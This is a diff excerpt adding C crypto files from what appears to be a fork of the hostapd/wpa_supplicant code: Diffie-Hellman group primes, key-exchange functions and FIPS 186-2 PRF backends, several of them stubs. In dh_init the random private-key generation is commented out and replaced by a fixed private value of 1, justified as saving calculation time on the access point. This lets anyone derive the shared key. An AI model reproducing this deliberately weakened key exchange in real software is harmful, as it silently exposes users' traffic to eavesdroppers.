0x8A, 0xEA, 0x71, 0x57, 0x5D, 0x06, 0x0C, 0x7D,
|
||||
0xB3, 0x97, 0x0F, 0x85, 0xA6, 0xE1, 0xE4, 0xC7,
|
||||
0xAB, 0xF5, 0xAE, 0x8C, 0xDB, 0x09, 0x33, 0xD7,
|
||||
0x1E, 0x8C, 0x94, 0xE0, 0x4A, 0x25, 0x61, 0x9D,
|
||||
0xCE, 0xE3, 0xD2, 0x26, 0x1A, 0xD2, 0xEE, 0x6B,
|
||||
0xF1, 0x2F, 0xFA, 0x06, 0xD9, 0x8A, 0x08, 0x64,
|
||||
0xD8, 0x76, 0x02, 0x73, 0x3E, 0xC8, 0x6A, 0x64,
|
||||
0x52, 0x1F, 0x2B, 0x18, 0x17, 0x7B, 0x20, 0x0C,
|
||||
0xBB, 0xE1, 0x17, 0x57, 0x7A, 0x61, 0x5D, 0x6C,
|
||||
0x77, 0x09, 0x88, 0xC0, 0xBA, 0xD9, 0x46, 0xE2,
|
||||
0x08, 0xE2, 0x4F, 0xA0, 0x74, 0xE5, 0xAB, 0x31,
|
||||
0x43, 0xDB, 0x5B, 0xFC, 0xE0, 0xFD, 0x10, 0x8E,
|
||||
0x4B, 0x82, 0xD1, 0x20, 0xA9, 0x21, 0x08, 0x01,
|
||||
0x1A, 0x72, 0x3C, 0x12, 0xA7, 0x87, 0xE6, 0xD7,
|
||||
0x88, 0x71, 0x9A, 0x10, 0xBD, 0xBA, 0x5B, 0x26,
|
||||
0x99, 0xC3, 0x27, 0x18, 0x6A, 0xF4, 0xE2, 0x3C,
|
||||
0x1A, 0x94, 0x68, 0x34, 0xB6, 0x15, 0x0B, 0xDA,
|
||||
0x25, 0x83, 0xE9, 0xCA, 0x2A, 0xD4, 0x4C, 0xE8,
|
||||
0xDB, 0xBB, 0xC2, 0xDB, 0x04, 0xDE, 0x8E, 0xF9,
|
||||
0x2E, 0x8E, 0xFC, 0x14, 0x1F, 0xBE, 0xCA, 0xA6,
|
||||
0x28, 0x7C, 0x59, 0x47, 0x4E, 0x6B, 0xC0, 0x5D,
|
||||
0x99, 0xB2, 0x96, 0x4F, 0xA0, 0x90, 0xC3, 0xA2,
|
||||
0x23, 0x3B, 0xA1, 0x86, 0x51, 0x5B, 0xE7, 0xED,
|
||||
0x1F, 0x61, 0x29, 0x70, 0xCE, 0xE2, 0xD7, 0xAF,
|
||||
0xB8, 0x1B, 0xDD, 0x76, 0x21, 0x70, 0x48, 0x1C,
|
||||
0xD0, 0x06, 0x91, 0x27, 0xD5, 0xB0, 0x5A, 0xA9,
|
||||
0x93, 0xB4, 0xEA, 0x98, 0x8D, 0x8F, 0xDD, 0xC1,
|
||||
0x86, 0xFF, 0xB7, 0xDC, 0x90, 0xA6, 0xC0, 0x8F,
|
||||
0x4D, 0xF4, 0x35, 0xC9, 0x34, 0x02, 0x84, 0x92,
|
||||
0x36, 0xC3, 0xFA, 0xB4, 0xD2, 0x7C, 0x70, 0x26,
|
||||
0xC1, 0xD4, 0xDC, 0xB2, 0x60, 0x26, 0x46, 0xDE,
|
||||
0xC9, 0x75, 0x1E, 0x76, 0x3D, 0xBA, 0x37, 0xBD,
|
||||
0xF8, 0xFF, 0x94, 0x06, 0xAD, 0x9E, 0x53, 0x0E,
|
||||
0xE5, 0xDB, 0x38, 0x2F, 0x41, 0x30, 0x01, 0xAE,
|
||||
0xB0, 0x6A, 0x53, 0xED, 0x90, 0x27, 0xD8, 0x31,
|
||||
0x17, 0x97, 0x27, 0xB0, 0x86, 0x5A, 0x89, 0x18,
|
||||
0xDA, 0x3E, 0xDB, 0xEB, 0xCF, 0x9B, 0x14, 0xED,
|
||||
0x44, 0xCE, 0x6C, 0xBA, 0xCE, 0xD4, 0xBB, 0x1B,
|
||||
0xDB, 0x7F, 0x14, 0x47, 0xE6, 0xCC, 0x25, 0x4B,
|
||||
0x33, 0x20, 0x51, 0x51, 0x2B, 0xD7, 0xAF, 0x42,
|
||||
0x6F, 0xB8, 0xF4, 0x01, 0x37, 0x8C, 0xD2, 0xBF,
|
||||
0x59, 0x83, 0xCA, 0x01, 0xC6, 0x4B, 0x92, 0xEC,
|
||||
0xF0, 0x32, 0xEA, 0x15, 0xD1, 0x72, 0x1D, 0x03,
|
||||
0xF4, 0x82, 0xD7, 0xCE, 0x6E, 0x74, 0xFE, 0xF6,
|
||||
0xD5, 0x5E, 0x70, 0x2F, 0x46, 0x98, 0x0C, 0x82,
|
||||
0xB5, 0xA8, 0x40, 0x31, 0x90, 0x0B, 0x1C, 0x9E,
|
||||
0x59, 0xE7, 0xC9, 0x7F, 0xBE, 0xC7, 0xE8, 0xF3,
|
||||
0x23, 0xA9, 0x7A, 0x7E, 0x36, 0xCC, 0x88, 0xBE,
|
||||
0x0F, 0x1D, 0x45, 0xB7, 0xFF, 0x58, 0x5A, 0xC5,
|
||||
0x4B, 0xD4, 0x07, 0xB2, 0x2B, 0x41, 0x54, 0xAA,
|
||||
0xCC, 0x8F, 0x6D, 0x7E, 0xBF, 0x48, 0xE1, 0xD8,
|
||||
0x14, 0xCC, 0x5E, 0xD2, 0x0F, 0x80, 0x37, 0xE0,
|
||||
0xA7, 0x97, 0x15, 0xEE, 0xF2, 0x9B, 0xE3, 0x28,
|
||||
0x06, 0xA1, 0xD5, 0x8B, 0xB7, 0xC5, 0xDA, 0x76,
|
||||
0xF5, 0x50, 0xAA, 0x3D, 0x8A, 0x1F, 0xBF, 0xF0,
|
||||
0xEB, 0x19, 0xCC, 0xB1, 0xA3, 0x13, 0xD5, 0x5C,
|
||||
0xDA, 0x56, 0xC9, 0xEC, 0x2E, 0xF2, 0x96, 0x32,
|
||||
0x38, 0x7F, 0xE8, 0xD7, 0x6E, 0x3C, 0x04, 0x68,
|
||||
0x04, 0x3E, 0x8F, 0x66, 0x3F, 0x48, 0x60, 0xEE,
|
||||
0x12, 0xBF, 0x2D, 0x5B, 0x0B, 0x74, 0x74, 0xD6,
|
||||
0xE6, 0x94, 0xF9, 0x1E, 0x6D, 0xCC, 0x40, 0x24,
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
|
||||
};
|
||||
|
||||
/* RFC 3526, 7. Group 18 - 8192 Bit MODP
|
||||
* Generator: 2
|
||||
* Prime: 2^8192 - 2^8128 - 1 + 2^64 * { [2^8062 pi] + 4743158 }
|
||||
*/
|
||||
static const u8 dh_group18_generator[1] = { 0x02 };
|
||||
static const u8 dh_group18_prime[1024] = {
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
|
||||
0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34,
|
||||
0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1,
|
||||
0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74,
|
||||
0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22,
|
||||
0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD,
|
||||
0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B,
|
||||
0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37,
|
||||
0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45,
|
||||
0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6,
|
||||
0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B,
|
||||
0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED,
|
||||
0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5,
|
||||
0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6,
|
||||
0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D,
|
||||
0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05,
|
||||
0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A,
|
||||
0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F,
|
||||
0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96,
|
||||
0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB,
|
||||
0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D,
|
||||
0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04,
|
||||
0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C,
|
||||
0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B,
|
||||
0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03,
|
||||
0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F,
|
||||
0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9,
|
||||
0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18,
|
||||
0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5,
|
||||
0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10,
|
||||
0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAA, 0xC4, 0x2D,
|
||||
0xAD, 0x33, 0x17, 0x0D, 0x04, 0x50, 0x7A, 0x33,
|
||||
0xA8, 0x55, 0x21, 0xAB, 0xDF, 0x1C, 0xBA, 0x64,
|
||||
0xEC, 0xFB, 0x85, 0x04, 0x58, 0xDB, 0xEF, 0x0A,
|
||||
0x8A, 0xEA, 0x71, 0x57, 0x5D, 0x06, 0x0C, 0x7D,
|
||||
0xB3, 0x97, 0x0F, 0x85, 0xA6, 0xE1, 0xE4, 0xC7,
|
||||
0xAB, 0xF5, 0xAE, 0x8C, 0xDB, 0x09, 0x33, 0xD7,
|
||||
0x1E, 0x8C, 0x94, 0xE0, 0x4A, 0x25, 0x61, 0x9D,
|
||||
0xCE, 0xE3, 0xD2, 0x26, 0x1A, 0xD2, 0xEE, 0x6B,
|
||||
0xF1, 0x2F, 0xFA, 0x06, 0xD9, 0x8A, 0x08, 0x64,
|
||||
0xD8, 0x76, 0x02, 0x73, 0x3E, 0xC8, 0x6A, 0x64,
|
||||
0x52, 0x1F, 0x2B, 0x18, 0x17, 0x7B, 0x20, 0x0C,
|
||||
0xBB, 0xE1, 0x17, 0x57, 0x7A, 0x61, 0x5D, 0x6C,
|
||||
0x77, 0x09, 0x88, 0xC0, 0xBA, 0xD9, 0x46, 0xE2,
|
||||
0x08, 0xE2, 0x4F, 0xA0, 0x74, 0xE5, 0xAB, 0x31,
|
||||
0x43, 0xDB, 0x5B, 0xFC, 0xE0, 0xFD, 0x10, 0x8E,
|
||||
0x4B, 0x82, 0xD1, 0x20, 0xA9, 0x21, 0x08, 0x01,
|
||||
0x1A, 0x72, 0x3C, 0x12, 0xA7, 0x87, 0xE6, 0xD7,
|
||||
0x88, 0x71, 0x9A, 0x10, 0xBD, 0xBA, 0x5B, 0x26,
|
||||
0x99, 0xC3, 0x27, 0x18, 0x6A, 0xF4, 0xE2, 0x3C,
|
||||
0x1A, 0x94, 0x68, 0x34, 0xB6, 0x15, 0x0B, 0xDA,
|
||||
0x25, 0x83, 0xE9, 0xCA, 0x2A, 0xD4, 0x4C, 0xE8,
|
||||
0xDB, 0xBB, 0xC2, 0xDB, 0x04, 0xDE, 0x8E, 0xF9,
|
||||
0x2E, 0x8E, 0xFC, 0x14, 0x1F, 0xBE, 0xCA, 0xA6,
|
||||
0x28, 0x7C, 0x59, 0x47, 0x4E, 0x6B, 0xC0, 0x5D,
|
||||
0x99, 0xB2, 0x96, 0x4F, 0xA0, 0x90, 0xC3, 0xA2,
|
||||
0x23, 0x3B, 0xA1, 0x86, 0x51, 0x5B, 0xE7, 0xED,
|
||||
0x1F, 0x61, 0x29, 0x70, 0xCE, 0xE2, 0xD7, 0xAF,
|
||||
0xB8, 0x1B, 0xDD, 0x76, 0x21, 0x70, 0x48, 0x1C,
|
||||
0xD0, 0x06, 0x91, 0x27, 0xD5, 0xB0, 0x5A, 0xA9,
|
||||
0x93, 0xB4, 0xEA, 0x98, 0x8D, 0x8F, 0xDD, 0xC1,
|
||||
0x86, 0xFF, 0xB7, 0xDC, 0x90, 0xA6, 0xC0, 0x8F,
|
||||
0x4D, 0xF4, 0x35, 0xC9, 0x34, 0x02, 0x84, 0x92,
|
||||
0x36, 0xC3, 0xFA, 0xB4, 0xD2, 0x7C, 0x70, 0x26,
|
||||
0xC1, 0xD4, 0xDC, 0xB2, 0x60, 0x26, 0x46, 0xDE,
|
||||
0xC9, 0x75, 0x1E, 0x76, 0x3D, 0xBA, 0x37, 0xBD,
|
||||
0xF8, 0xFF, 0x94, 0x06, 0xAD, 0x9E, 0x53, 0x0E,
|
||||
0xE5, 0xDB, 0x38, 0x2F, 0x41, 0x30, 0x01, 0xAE,
|
||||
0xB0, 0x6A, 0x53, 0xED, 0x90, 0x27, 0xD8, 0x31,
|
||||
0x17, 0x97, 0x27, 0xB0, 0x86, 0x5A, 0x89, 0x18,
|
||||
0xDA, 0x3E, 0xDB, 0xEB, 0xCF, 0x9B, 0x14, 0xED,
|
||||
0x44, 0xCE, 0x6C, 0xBA, 0xCE, 0xD4, 0xBB, 0x1B,
|
||||
0xDB, 0x7F, 0x14, 0x47, 0xE6, 0xCC, 0x25, 0x4B,
|
||||
0x33, 0x20, 0x51, 0x51, 0x2B, 0xD7, 0xAF, 0x42,
|
||||
0x6F, 0xB8, 0xF4, 0x01, 0x37, 0x8C, 0xD2, 0xBF,
|
||||
0x59, 0x83, 0xCA, 0x01, 0xC6, 0x4B, 0x92, 0xEC,
|
||||
0xF0, 0x32, 0xEA, 0x15, 0xD1, 0x72, 0x1D, 0x03,
|
||||
0xF4, 0x82, 0xD7, 0xCE, 0x6E, 0x74, 0xFE, 0xF6,
|
||||
0xD5, 0x5E, 0x70, 0x2F, 0x46, 0x98, 0x0C, 0x82,
|
||||
0xB5, 0xA8, 0x40, 0x31, 0x90, 0x0B, 0x1C, 0x9E,
|
||||
0x59, 0xE7, 0xC9, 0x7F, 0xBE, 0xC7, 0xE8, 0xF3,
|
||||
0x23, 0xA9, 0x7A, 0x7E, 0x36, 0xCC, 0x88, 0xBE,
|
||||
0x0F, 0x1D, 0x45, 0xB7, 0xFF, 0x58, 0x5A, 0xC5,
|
||||
0x4B, 0xD4, 0x07, 0xB2, 0x2B, 0x41, 0x54, 0xAA,
|
||||
0xCC, 0x8F, 0x6D, 0x7E, 0xBF, 0x48, 0xE1, 0xD8,
|
||||
0x14, 0xCC, 0x5E, 0xD2, 0x0F, 0x80, 0x37, 0xE0,
|
||||
0xA7, 0x97, 0x15, 0xEE, 0xF2, 0x9B, 0xE3, 0x28,
|
||||
0x06, 0xA1, 0xD5, 0x8B, 0xB7, 0xC5, 0xDA, 0x76,
|
||||
0xF5, 0x50, 0xAA, 0x3D, 0x8A, 0x1F, 0xBF, 0xF0,
|
||||
0xEB, 0x19, 0xCC, 0xB1, 0xA3, 0x13, 0xD5, 0x5C,
|
||||
0xDA, 0x56, 0xC9, 0xEC, 0x2E, 0xF2, 0x96, 0x32,
|
||||
0x38, 0x7F, 0xE8, 0xD7, 0x6E, 0x3C, 0x04, 0x68,
|
||||
0x04, 0x3E, 0x8F, 0x66, 0x3F, 0x48, 0x60, 0xEE,
|
||||
0x12, 0xBF, 0x2D, 0x5B, 0x0B, 0x74, 0x74, 0xD6,
|
||||
0xE6, 0x94, 0xF9, 0x1E, 0x6D, 0xBE, 0x11, 0x59,
|
||||
0x74, 0xA3, 0x92, 0x6F, 0x12, 0xFE, 0xE5, 0xE4,
|
||||
0x38, 0x77, 0x7C, 0xB6, 0xA9, 0x32, 0xDF, 0x8C,
|
||||
0xD8, 0xBE, 0xC4, 0xD0, 0x73, 0xB9, 0x31, 0xBA,
|
||||
0x3B, 0xC8, 0x32, 0xB6, 0x8D, 0x9D, 0xD3, 0x00,
|
||||
0x74, 0x1F, 0xA7, 0xBF, 0x8A, 0xFC, 0x47, 0xED,
|
||||
0x25, 0x76, 0xF6, 0x93, 0x6B, 0xA4, 0x24, 0x66,
|
||||
0x3A, 0xAB, 0x63, 0x9C, 0x5A, 0xE4, 0xF5, 0x68,
|
||||
0x34, 0x23, 0xB4, 0x74, 0x2B, 0xF1, 0xC9, 0x78,
|
||||
0x23, 0x8F, 0x16, 0xCB, 0xE3, 0x9D, 0x65, 0x2D,
|
||||
0xE3, 0xFD, 0xB8, 0xBE, 0xFC, 0x84, 0x8A, 0xD9,
|
||||
0x22, 0x22, 0x2E, 0x04, 0xA4, 0x03, 0x7C, 0x07,
|
||||
0x13, 0xEB, 0x57, 0xA8, 0x1A, 0x23, 0xF0, 0xC7,
|
||||
0x34, 0x73, 0xFC, 0x64, 0x6C, 0xEA, 0x30, 0x6B,
|
||||
0x4B, 0xCB, 0xC8, 0x86, 0x2F, 0x83, 0x85, 0xDD,
|
||||
0xFA, 0x9D, 0x4B, 0x7F, 0xA2, 0xC0, 0x87, 0xE8,
|
||||
0x79, 0x68, 0x33, 0x03, 0xED, 0x5B, 0xDD, 0x3A,
|
||||
0x06, 0x2B, 0x3C, 0xF5, 0xB3, 0xA2, 0x78, 0xA6,
|
||||
0x6D, 0x2A, 0x13, 0xF8, 0x3F, 0x44, 0xF8, 0x2D,
|
||||
0xDF, 0x31, 0x0E, 0xE0, 0x74, 0xAB, 0x6A, 0x36,
|
||||
0x45, 0x97, 0xE8, 0x99, 0xA0, 0x25, 0x5D, 0xC1,
|
||||
0x64, 0xF3, 0x1C, 0xC5, 0x08, 0x46, 0x85, 0x1D,
|
||||
0xF9, 0xAB, 0x48, 0x19, 0x5D, 0xED, 0x7E, 0xA1,
|
||||
0xB1, 0xD5, 0x10, 0xBD, 0x7E, 0xE7, 0x4D, 0x73,
|
||||
0xFA, 0xF3, 0x6B, 0xC3, 0x1E, 0xCF, 0xA2, 0x68,
|
||||
0x35, 0x90, 0x46, 0xF4, 0xEB, 0x87, 0x9F, 0x92,
|
||||
0x40, 0x09, 0x43, 0x8B, 0x48, 0x1C, 0x6C, 0xD7,
|
||||
0x88, 0x9A, 0x00, 0x2E, 0xD5, 0xEE, 0x38, 0x2B,
|
||||
0xC9, 0x19, 0x0D, 0xA6, 0xFC, 0x02, 0x6E, 0x47,
|
||||
0x95, 0x58, 0xE4, 0x47, 0x56, 0x77, 0xE9, 0xAA,
|
||||
0x9E, 0x30, 0x50, 0xE2, 0x76, 0x56, 0x94, 0xDF,
|
||||
0xC8, 0x1F, 0x56, 0xE8, 0x80, 0xB9, 0x6E, 0x71,
|
||||
0x60, 0xC9, 0x80, 0xDD, 0x98, 0xED, 0xD3, 0xDF,
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
|
||||
};
|
||||
|
||||
#endif /* ALL_DH_GROUPS */
|
||||
|
||||
|
||||
#define DH_GROUP(id) \
|
||||
{ id, dh_group ## id ## _generator, sizeof(dh_group ## id ## _generator), \
|
||||
dh_group ## id ## _prime, sizeof(dh_group ## id ## _prime) }
|
||||
|
||||
|
||||
static struct dh_group dh_groups[] = {
|
||||
DH_GROUP(5),
|
||||
#ifdef ALL_DH_GROUPS
|
||||
DH_GROUP(1),
|
||||
DH_GROUP(2),
|
||||
DH_GROUP(14),
|
||||
DH_GROUP(15),
|
||||
DH_GROUP(16),
|
||||
DH_GROUP(17),
|
||||
DH_GROUP(18)
|
||||
#endif /* ALL_DH_GROUPS */
|
||||
};
|
||||
|
||||
#define NUM_DH_GROUPS (sizeof(dh_groups) / sizeof(dh_groups[0]))
|
||||
|
||||
|
||||
const struct dh_group * dh_groups_get(int id)
|
||||
{
|
||||
size_t i;
|
||||
|
||||
for (i = 0; i < NUM_DH_GROUPS; i++) {
|
||||
if (dh_groups[i].id == id)
|
||||
return &dh_groups[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* dh_init - Initialize Diffie-Hellman handshake
|
||||
* @dh: Selected Diffie-Hellman group
|
||||
* @priv: Pointer for returning Diffie-Hellman private key
|
||||
* Returns: Diffie-Hellman public value
|
||||
*/
|
||||
struct wpabuf * dh_init(const struct dh_group *dh, struct wpabuf **priv)
|
||||
{
|
||||
struct wpabuf *pv;
|
||||
size_t pv_len;
|
||||
|
||||
if (dh == NULL)
|
||||
return NULL;
|
||||
|
||||
wpabuf_free(*priv);
|
||||
*priv = wpabuf_alloc(dh->prime_len);
|
||||
if (*priv == NULL)
|
||||
return NULL;
|
||||
|
||||
/* Use small DH secret (1) to reduce calculation time on AP */
|
||||
if (!memset(wpabuf_put(*priv, 1), 1, 1)) {
|
||||
// if (os_get_random(wpabuf_put(*priv, dh->prime_len), dh->prime_len)) {
|
||||
wpabuf_free(*priv);
|
||||
*priv = NULL;
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (os_memcmp(wpabuf_head(*priv), dh->prime, dh->prime_len) > 0) {
|
||||
/* Make sure private value is smaller than prime */
|
||||
*(wpabuf_mhead_u8(*priv)) = 0;
|
||||
}
|
||||
wpa_hexdump_buf_key(MSG_DEBUG, "DH: private value", *priv);
|
||||
|
||||
pv_len = dh->prime_len;
|
||||
pv = wpabuf_alloc(pv_len);
|
||||
if (pv == NULL)
|
||||
return NULL;
|
||||
if (crypto_mod_exp(dh->generator, dh->generator_len,
|
||||
wpabuf_head(*priv), wpabuf_len(*priv),
|
||||
dh->prime, dh->prime_len, wpabuf_mhead(pv),
|
||||
&pv_len) < 0) {
|
||||
wpabuf_free(pv);
|
||||
wpa_printf(MSG_INFO, "DH: crypto_mod_exp failed");
|
||||
return NULL;
|
||||
}
|
||||
wpabuf_put(pv, pv_len);
|
||||
wpa_hexdump_buf(MSG_DEBUG, "DH: public value", pv);
|
||||
|
||||
return pv;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* dh_derive_shared - Derive shared Diffie-Hellman key
|
||||
* @peer_public: Diffie-Hellman public value from peer
|
||||
* @own_private: Diffie-Hellman private key from dh_init()
|
||||
* @dh: Selected Diffie-Hellman group
|
||||
* Returns: Diffie-Hellman shared key
|
||||
*/
|
||||
struct wpabuf * dh_derive_shared(const struct wpabuf *peer_public,
|
||||
const struct wpabuf *own_private,
|
||||
const struct dh_group *dh)
|
||||
{
|
||||
struct wpabuf *shared;
|
||||
size_t shared_len;
|
||||
|
||||
if (dh == NULL || peer_public == NULL || own_private == NULL)
|
||||
return NULL;
|
||||
|
||||
shared_len = dh->prime_len;
|
||||
shared = wpabuf_alloc(shared_len);
|
||||
if (shared == NULL)
|
||||
return NULL;
|
||||
if (crypto_mod_exp(wpabuf_head(peer_public), wpabuf_len(peer_public),
|
||||
wpabuf_head(own_private), wpabuf_len(own_private),
|
||||
dh->prime, dh->prime_len,
|
||||
wpabuf_mhead(shared), &shared_len) < 0) {
|
||||
wpabuf_free(shared);
|
||||
wpa_printf(MSG_INFO, "DH: crypto_mod_exp failed");
|
||||
return NULL;
|
||||
}
|
||||
wpabuf_put(shared, shared_len);
|
||||
wpa_hexdump_buf_key(MSG_DEBUG, "DH: shared key", shared);
|
||||
|
||||
return shared;
|
||||
}
|
|
@ -0,0 +1,32 @@
|
|||
/*
|
||||
* Diffie-Hellman groups
|
||||
* Copyright (c) 2007, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#ifndef DH_GROUPS_H
|
||||
#define DH_GROUPS_H
|
||||
|
||||
struct dh_group {
|
||||
int id;
|
||||
const u8 *generator;
|
||||
size_t generator_len;
|
||||
const u8 *prime;
|
||||
size_t prime_len;
|
||||
};
|
||||
|
||||
const struct dh_group * dh_groups_get(int id);
|
||||
struct wpabuf * dh_init(const struct dh_group *dh, struct wpabuf **priv);
|
||||
struct wpabuf * dh_derive_shared(const struct wpabuf *peer_public,
|
||||
const struct wpabuf *own_private,
|
||||
const struct dh_group *dh);
|
||||
|
||||
#endif /* DH_GROUPS_H */
|
|
@ -0,0 +1,25 @@
|
|||
/*
|
||||
* FIPS 186-2 PRF for Microsoft CryptoAPI
|
||||
* Copyright (c) 2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "crypto.h"
|
||||
|
||||
|
||||
int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen)
|
||||
{
|
||||
/* FIX: how to do this with CryptoAPI? */
|
||||
return -1;
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
/*
|
||||
* FIPS 186-2 PRF for libgcrypt
|
||||
* Copyright (c) 2004-2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
#include <gcrypt.h>
|
||||
|
||||
#include "common.h"
|
||||
#include "crypto.h"
|
||||
|
||||
|
||||
int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen)
|
||||
{
|
||||
/* FIX: how to do this with libgcrypt? */
|
||||
return -1;
|
||||
}
|
|
@ -0,0 +1,74 @@
|
|||
/*
|
||||
* FIPS 186-2 PRF for internal crypto implementation
|
||||
* Copyright (c) 2006-2007, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "sha1.h"
|
||||
#include "sha1_i.h"
|
||||
#include "crypto.h"
|
||||
|
||||
|
||||
int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen)
|
||||
{
|
||||
u8 xkey[64];
|
||||
u32 t[5], _t[5];
|
||||
int i, j, m, k;
|
||||
u8 *xpos = x;
|
||||
u32 carry;
|
||||
|
||||
if (seed_len > sizeof(xkey))
|
||||
seed_len = sizeof(xkey);
|
||||
|
||||
/* FIPS 186-2 + change notice 1 */
|
||||
|
||||
os_memcpy(xkey, seed, seed_len);
|
||||
os_memset(xkey + seed_len, 0, 64 - seed_len);
|
||||
t[0] = 0x67452301;
|
||||
t[1] = 0xEFCDAB89;
|
||||
t[2] = 0x98BADCFE;
|
||||
t[3] = 0x10325476;
|
||||
t[4] = 0xC3D2E1F0;
|
||||
|
||||
m = xlen / 40;
|
||||
for (j = 0; j < m; j++) {
|
||||
/* XSEED_j = 0 */
|
||||
for (i = 0; i < 2; i++) {
|
||||
/* XVAL = (XKEY + XSEED_j) mod 2^b */
|
||||
|
||||
/* w_i = G(t, XVAL) */
|
||||
os_memcpy(_t, t, 20);
|
||||
SHA1Transform(_t, xkey);
|
||||
_t[0] = host_to_be32(_t[0]);
|
||||
_t[1] = host_to_be32(_t[1]);
|
||||
_t[2] = host_to_be32(_t[2]);
|
||||
_t[3] = host_to_be32(_t[3]);
|
||||
_t[4] = host_to_be32(_t[4]);
|
||||
os_memcpy(xpos, _t, 20);
|
||||
|
||||
/* XKEY = (1 + XKEY + w_i) mod 2^b */
|
||||
carry = 1;
|
||||
for (k = 19; k >= 0; k--) {
|
||||
carry += xkey[k] + xpos[k];
|
||||
xkey[k] = carry & 0xff;
|
||||
carry >>= 8;
|
||||
}
|
||||
|
||||
xpos += SHA1_MAC_LEN;
|
||||
}
|
||||
/* x_j = w_0|w_1 */
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,25 @@
|
|||
/*
|
||||
* FIPS 186-2 PRF for NSS
|
||||
* Copyright (c) 2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
#include <openssl/sha.h>
|
||||
|
||||
#include "common.h"
|
||||
#include "crypto.h"
|
||||
|
||||
|
||||
int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen)
|
||||
{
|
||||
return -1;
|
||||
}
|
|
@ -0,0 +1,83 @@
|
|||
/*
|
||||
* FIPS 186-2 PRF for libcrypto
|
||||
* Copyright (c) 2004-2005, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
